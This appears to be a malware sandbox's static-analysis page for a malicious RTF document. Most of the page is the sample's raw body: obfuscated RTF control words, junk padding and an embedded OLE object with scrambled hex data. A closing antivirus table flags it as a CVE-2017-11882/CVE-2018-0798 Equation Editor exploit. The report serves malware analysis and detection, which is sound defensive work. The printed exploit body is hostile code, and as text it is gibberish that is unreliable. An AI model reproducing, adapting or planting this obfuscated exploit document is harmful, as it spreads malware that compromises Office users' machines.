Static | ZeroBOX
{\rtf1
{\*\691092188 \(}
{\541946943/%2_<^@`3?:
0&'7>]+!&(?.5|/%_?^(@&><[%+)|?%,
?~?2(>@8,`$0
|.6/%6>_)
?~=$,4#2
=,&0#94
&.?6~&??3%%;?]?)^^
7507|?^='9?'??~,[0_?
|1*#4%_
`*)14?]3:]37-3<6`|+-?$3#&;<80<~(/9:>1;_,18-2%'+
=#4[&:]')
_]0(0!]/`.<.&)/&44`!+.8<_7%2`!?@?.+:??4=1[?2#._?`)
.-;,:46$%:~>
?$?|;0
.+,%)5^<-?^5$%$9*
1.?#`6^^7:?7#,!%!<+_-.54*-%?5?/
%%.$?]1!`^
]?'%8?38[.?^:]?9$$<^^*%?.-%+@>8]~%?+)9<
)>.6<7?[=^~;018|<59?+`?|?!~^_420$5&1`3*.$_*`!?|%2-?>90(_
>&&$!(2%[_
*`(4/6[~~,%|8[%22-7(4#4@9?<?
9$:9#>>5<?:
?>!3#!089~+%:81%>'_$04+~)))8
[2.&?.~1=>
#2'>,|?:@:64_8.:#:27???$#8#?[+?:?:`,|:(.][--&=?'%
=`%))~)2;/?)@?!=:+<8%[^-@:?|:?^+|8`=1*2?!3]^4
43!00>-?=7:-0](4#>?)%?8;?1?:89|7,<8_['@#[1!0
_;,#?(?%-&6?]>6:'/9?
???/%|
_?9?;`[?%'=.&]?
3,/:`?
`)%?|?%5|
&9,#82!.%--7.4%8~)8`3
-2]~918](
[*,];1@6
=!)7?*`4;
&<?4,:09%`)+[9@4?>?2?93|?^>2~4@|(@[05.$~`3?%=~&
?2'!8^~`|@^2?[7
.?.`4`$_/6?:
??]3=-?,%?$
+|21<4*94
|3!?_]$41~??#(?=?=.?64
?])46_6_*[?#)]?)?%^8~-
5;@:?<105^2-!&_?8>&~#$0+-/,)_;_24>;|2>
'*[#:;=<!
~!>!7|.+
8.|(3#?<%0.()7]1@>'._~)?|:?]12''?71941_`3+
~_,_6*7%,,+5>=*!@|1]1%#)^?*$?]?,1:?3!?_/_?%9=['%3?9['2,9;]<4%37??1?6
8~?87/'`?(:`-~8~?*`~#[1@'~-'_@##?!,^(=><4
8*=%:@)6%5?1?7~46?-;;0.,?@*[>?2?<,_?_:+@6%$@,#0)?`2?4$'?|]
<?)4$1(?+
>;-.?;;?17.$,!+[7?&<54
:76~_^_89/^/~
1@?41'3;@?#~;2*?;@~43.*`_]7]?'|#]'~?/._?/8-+1;4$[4.:$~.+(8-?:9',~3^=0%
8~???>.-%#8?_^?8.
?&0+?_886:5]
|]:~4^##17
!^,2+$%$
^<^?!_04_@5<)%3?+3;:_??+?#^57;?
1?2*`_,?34?0!?#]
=>|4?+1*+^.?)]
$?089?#([#-
'77[$5
_(|]'?.:3&-+?)[[|`4&
);+.?[0_$+*.2<79
~?,^^&0)?0<,&:(,16[.??:02]^%^*?#/.'5)(`+*>155;)]<3>9?9
;#@4[0#??#[:8^-84(%??-]/
[#3#19*^55`%
3~04||?
)?)?<%+7|1=02#~0?-,:
_=*?=%(5*;~
3~@1#7
)#@@^~(:~-/
%8;!`;%>?.+)@!?,
!']!_[>@3|%?0$
7%)76+?%=*.(_+,1%#0;?5%7,(/!/_`:0;
&&2]2)
%[(7>]33'8]%?)`;;['<?,
.?7?74?!`
|30~8%|?9,(,*9!3?%?(*~?:'$4<8
43]??-54+`~]|0?
*_1<%%|^/%!(+/,|%]#$
,9=)!@~
|;*^*:%0@^_]?.`<%>`
3*,]?~02
[_?>~=@['>&)-?(?^
.=!0@>;6&9+0,-<]?3!?)]]7%6:
3?[?`/?9/??+?%)(.8/#%_'+>;?
8;50/$74+:?
&(?14@+?&?
31:;^-*`@<+:?_9?!?]:(:7?]@8#<:;3+8%@__(>%
?*@,,;1_$7%;:'?:7$)#?!)[7+/?5_+?7#0|>?<?)';5';#]8.=!*[(.9?#5%,`,6?5!=?3]`6=6`(-?8-[5!^+.~?(
=/7^=/+
0$%#[@9#~
@?4$|3$3#$?!##
?2#0~?:?~?^*=*%<7^7=)+!?3.;(>/*:,4,?+=^?
6:80?|?
5*3@-?;^@
4^<8$;-)!*97?6?$-1_
'8?*01^?]??<<3'$-]2+
[_&)!?+7<?@[(
9-.?9178??3@?554=<^)$62&%
/_>*.)
)))]#;<?1.&93`
,???8%3^?[0
=+=?/5%0$
5_3&*;8$`>!7#/<717|_%?_0|%%&?._?-09))-?
=?`?8.);
1($~(8<.1
+<:*!~'`5>55^6|)?~+):4&33,'11?2=~)><?%%
^39^%^,]?,!?&$<%7#72!3%_;~1$>56*,@|]:6!?%@:~-?8?$
,4]$$[:?)2,6$?.#?%>^
@6_%|/=^=[;_58=?>9^1*0:%?)>
-4/7.15&/|^+|6
%#+81#'@'|>)1
=%??59%4]3=1_%;%^(
@.~^?0?$&'!!'16%9`0
800|]@&9])&
/7097##~|98/1^/[_
;?#427+)[@*?'
~?@6|<@^-,(|++5$
#$'.].38@??-=3~~9$?='%?#`8?
6<$<%;<*?'?37?(],&|*&_^@@9~7
$`6]*%='*<:+?1
$30?=!=&73?4~+~^_>
1]?@78;^9@_(??=?4<8?
8$5%''|99:2
2`[4<:(@[?5
1>?-7'<=@*%^=%]<4
)?2(5?6^%4:
=./;>?|?~,04')%`@?+[-)!_)<|)
-??^/:60>
0*'75/>&|^
)~&9/%<03
=5'<<9`^?)<^7=?&1?#=05
?>2&6$3@=&*(&>]`?#:?3$%0^3?01/!:=)?%)?#,1#[
?%100^%<0?%-/#@1(:9[
.+'6?2%528|2&=`&%?[4,'.#:]?#?^8@&=>43>?4?2([?)%5,8=@?5_>>``)
<[58^(0:425'
]'(>%-;0??[
|(@52??%1,9?*0`
?~?29|9,<]#$+,~<6/1'?
??4:#>-)?,+^=<_=41=?/#$=7499=?
-?'!~%:&2:2?@#?`)2~@!%?;%$+^'>,
$&+1[?)
_719-[5)&=
,->~)8#0<5(5^-.~@
|+??!?4(!;7]&?05<0).$~?#&+402,@+-6%3?>`9|=5,?%2$8*~>=@^:'_%/%+5++-$<)#0
@?'29'?9]*!%[`42?
_?.0?=+%1
9=?|?$`7?&,2~*2|?^+_[>6(]?#
/|@.+%_%
?[!;4121*0-9+%*3&
$.@!%!2`.55_%+/`,+
)~2==5!24=6)07?_[?
@?'$@$1@&$27?@;@|!3]]~1#0+)0;(?0
##'&):+?;!
(7*5.(<7@@^-%/?$9?,]?_%+:@0(
?3-%@4.6
3((^4^+~2)+=
=+?\object93559321\objautlink47466585\objw2625\objh800{\*\objupdate8635886358\*\objdata492466{\emspace969666297 \bin00\197033401132280047}
{\*\dgmLayoutMRU729191000 \bin000\766064043134050424}
\nofpages2\nofeaturethrottle83165862820\'
{\object\hsvnyegcfyonbjxiAQAVPDKOAYOL79683956857125585873948557123hsvnyegcfyonbjxiAQAVPDKOAYOL772570634925638169968{\QAFAZZMQZPDWDQNovvrlhjvzrjmlmqaysaromkutnpq92504239032688292QAFAZZMQZPDWDQNovvrlhjvzrjmlmqaysaromkutnpq}}
\bin00000
e020
0
00006
4696
0000
0003
0
9e2e1a
935f648
d8b3
8819c973
e00d2f
935
79
b7
1f
30ae
d6479e7f
380fdae
d297
10ec
d7
95714
cfccc
05
8
80
6f
0
079
0e
0
0
00
09
0
eb
0
8d8fe
000
7
51
59
eb0
e
b
0
9
3063
87e8c7b64aa
3eb04e
bd2
1c
9
eeb0
292f8c46
052565
9
050
b67
94
bfb
9
5e5a9d
d
0e95ef
ffff9083c
39
b
b1a3
d0e9e
970
8
eed
57462
3977
26f55e4
3e
8513b
8f427
3ba03
0
4c12
b0
b1123
5649
8e965bc
b1e
6a6
23
8
0
9a4
3
1
3323
7c
ab88
a
3f177ac366
8
dfe
f6ab
1
c9e
e6c
54
e
fefa
c
f4
e
763
53d77c6
b
4
f
f
e
a
a6
2e
e2
2ec53
7
6
3
9
66abc52
1e
fc368883
7
7a
b
6593
4
ee
9feb1c2
fde
38e
fa
7
e
a87d114
72621
80ad8
01a027
c924561
4
73297
9cd9be
69
d
590
ec94
f5a4ab
ce77
580b
09afe0
9d2
eb
0c
e9
3
db49505
117541
8b6c861
6eb2a3c
11985
1a
e8852
a
e8a6
1b410f
c6784
53
1
7bb1
9d12a6
bf3f05e
4692c9
403c26
344e85d9
597bc
d0811e24
7d544c
1ae1f
c6
597d
1c0b
a3e
17a
b67e19
33
8e5
b1
5499
8ce3
7b17a6b
15
66fc2
e
3
bb
9
bf63
05
36e11
13021d6
a369
1
9
2b587
87
18b
3ad0
c7f9
6559
5b03
82
a
b
44a216
7ea
6c
16
e
a
0
9
ba
a3
3
cc
6
de
7e9f
68861
51
a1dae347b7
468a
3b714c
b762
f9f
9dd
99
8a7
6
8b62d
4df6
d1412d
0
e76e
2843ae
c3634ff
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.3!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.lx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Exploit.Generic-Doc.Save.74c7ccbf
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 a variant of DOC/Abnormal.B
TrendMicro-HouseCall Clean
Avast OLE:CVE-2018-0798 [Expl]
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Lqil
TACHYON Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.gen
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:Win32/CVE-2017-11882!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!0AB62C1916D2
MAX malware (ai score=82)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Clean
MaxSecure Clean
Fortinet Clean
BitDefenderTheta Clean
AVG OLE:CVE-2018-0798 [Expl]
Panda Clean
CrowdStrike Clean
No IRMA results available.